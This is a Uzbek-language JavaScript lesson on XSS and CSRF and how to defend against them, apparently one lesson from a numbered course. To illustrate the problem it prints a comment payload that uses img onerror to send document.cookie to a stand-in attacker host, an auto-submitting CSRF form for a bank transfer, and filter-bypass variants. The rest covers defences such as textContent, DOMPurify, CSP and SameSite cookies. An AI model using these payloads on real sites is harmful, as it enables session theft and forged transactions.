Security — XSS, CSRF va ulardan himoya

~20 daq · JavaScript · Amaliy va Professional mavzular

Muammodan boshlaylik

Mahsulot sharhlari:

sharhlar.forEach((s) => {
  royxat.innerHTML += `<li><b>${s.ism}</b>: ${s.matn}</li>`;
});

Kimdir sharh qoldirdi:

Zo'r mahsulot! <img src="x" onerror="fetch('https://yomon.uz/?c=' + document.cookie)">

Endi sahifani ochgan har bir foydalanuvchining brauzerida bu kod bajariladi: cookie lar, localStorage dagi token o'g'irlanadi, foydalanuvchi nomidan harakatlar qilinadi. Bu — XSS.

XSS — Cross-Site Scripting

Hujumchi o'z JavaScript kodini sizning saytingizda boshqa foydalanuvchilar brauzerida bajartiradi. Kod sizning saytingiz huquqlari bilan ishlaydi: DOM, cookie, localStorage, API so'rovlari — hammasiga kirishi bor.

Himoya 1 — matnni matn sifatida qo'yish

// ❌ HTML sifatida talqin qilinadi
li.innerHTML = s.matn;

// ✅ har doim oddiy matn
li.textContent = s.matn;

sharhlar.forEach((s) => {
  const li = document.createElement('li');
  const b = document.createElement('b');
  b.textContent = s.ism;
  li.append(b, `: ${s.matn}`);
  royxat.append(li);
});

Xavfli "sink" lar — foydalanuvchi ma'lumotini bularga bermang:

// javascript: havolalar
const url = new URL(kiritilgan, location.origin);
if (url.protocol === 'http:' || url.protocol === 'https:') {
  a.href = url.href;
}

Himoya 2 — HTML kerak bo'lsa, tozalash

Foydalanuvchi formatlangan matn yozsa (qalin, havola), DOMPurify bilan tozalang:

npm install dompurify

import DOMPurify from 'dompurify';

div.innerHTML = DOMPurify.sanitize(foydalanuvchiHtml);
// <img onerror=...> → <img>; <script> → olib tashlanadi

[!WARNING] O'z regex "filtringizni" yozmang (replace(/<script>/g, '')). Chetlab o'tish usullari yuzlab: <scr<script>ipt>, <svg onload=...>, katta-kichik harflar, kodlashlar. Sinalgan kutubxonadan foydalaning.

Himoya 3 — Content Security Policy

Server sarlavhasi — brauzerga qaysi skriptlarga ruxsat borligini aytadi:

Content-Security-Policy: default-src 'self'; script-src 'self'; object-src 'none'

• Faqat o'z domeningizdan skriptlar
• Inline <script> va onerror="..." atributlar bloklanadi

XSS teshigi qolgan taqdirda ham hujumchi kodi ishlamaydi — ikkinchi himoya chizig'i.

CSRF — Cross-Site Request Forgery

Foydalanuvchi bank.uz ga kirgan (cookie da sessiya). Keyin yomon.uz ni ochadi:

<!-- yomon.uz sahifasida -->
<form action="https://bank.uz/otkazma" method="POST" id="f">
  <input name="kimga" value="hujumchi" />
  <input name="summa" value="10000000" />
</form>
<script>document.getElementById('f').submit();</script>

Brauzer bank.uz ga so'rov yuboradi va cookie ni avtomatik qo'shadi. Bank uchun bu — foydalanuvchining haqiqiy so'rovi.

XSS dan farqi: hujumchi kodi sizning saytingizda emas, boshqa saytda; u javobni o'qiy olmaydi, lekin foydalanuvchi nomidan harakat bajartiradi.

Himoya

Set-Cookie: sessiya=abc123; HttpOnly; Secure; SameSite=Lax; Path=/

[!INFO] Zamonaviy brauzerlar SameSite ko'rsatilmagan cookie larni standart holatda Lax deb hisoblaydi — bu CSRF xavfini ancha kamaytirdi. Lekin muhim amallar (pul o'tkazish, parol o'zgartirish) uchun CSRF token yoki qayta tasdiqlash qo'shimcha himoya sifatida tavsiya etiladi.

Frontend dagi boshqa qoidalar

• Maxfiy kalitlar — frontend kodda yoki VITE_ o'zgaruvchilarda emas (72-dars): JavaScript dagi hamma narsa ochiq
• Frontend validatsiyasi — qulaylik uchun, himoya emas: hujumchi so'rovni to'g'ridan-to'g'ri yuboradi. Haqiqiy tekshiruv — serverda
• Tokenlar: localStorage dagi token XSS bo'lsa o'g'irlanadi; HttpOnly cookie — xavfsizroq
• Bog'liqliklar: npm audit — ma'lum zaifliklarni tekshirish; keraksiz paketlarni o'rnatmang
• target="_blank" — zamonaviy brauzerlarda noopener avtomatik; eski brauzerlar uchun rel="noopener noreferrer"
• postMessage — har doim event.origin ni tekshiring

window.addEventListener('message', (e) => {
  if (e.origin !== 'https://tolov.uz') return;
  // ...
});

Nima uchun shunday?

Nima uchun bu hujumlar umuman mumkin — brauzer bizni himoya qilmaydimi?

Brauzer Same-Origin Policy bilan himoya qiladi: bir saytning kodi boshqa saytning ma'lumotini o'qiy olmaydi. XSS va CSRF aynan shu himoyani chetlab o'tadi. XSS da hujumchi kodi sizning origin ingizda ishlaydi — brauzer uchun u sizning kodingizdan farq qilmaydi. CSRF da esa brauzer odatdagidek cookie larni so'rovga qo'shadi — u so'rovni kim boshlaganini bilmaydi. Shuning uchun xavfsizlik — dasturchi zimmasida: foydalanuvchi ma'lumotiga hech qachon ishonmaslik, uni har doim matn sifatida ko'rsatish va har bir muhim so'rovning haqiqiy manbasini tekshirish.

Xulosa

Eslab qoling:

• XSS — hujumchi JS kodi sizning saytingizda bajariladi; stored, reflected, DOM-based
• Foydalanuvchi ma'lumoti — textContent, innerHTML emas; HTML kerak bo'lsa — DOMPurify
• eval, javascript: URL lar — xavfli; CSP — ikkinchi himoya chizig'i
• CSRF — boshqa sayt foydalanuvchi cookie si bilan so'rov yuboradi
• Himoya: SameSite, CSRF token, Origin tekshirish; cookie — HttpOnly; Secure
• Frontend validatsiya himoya emas; maxfiy kalitlar frontend da bo'lmaydi; npm audit

Keyingi dars

85-dars: Accessibility — a11y asoslari, ARIA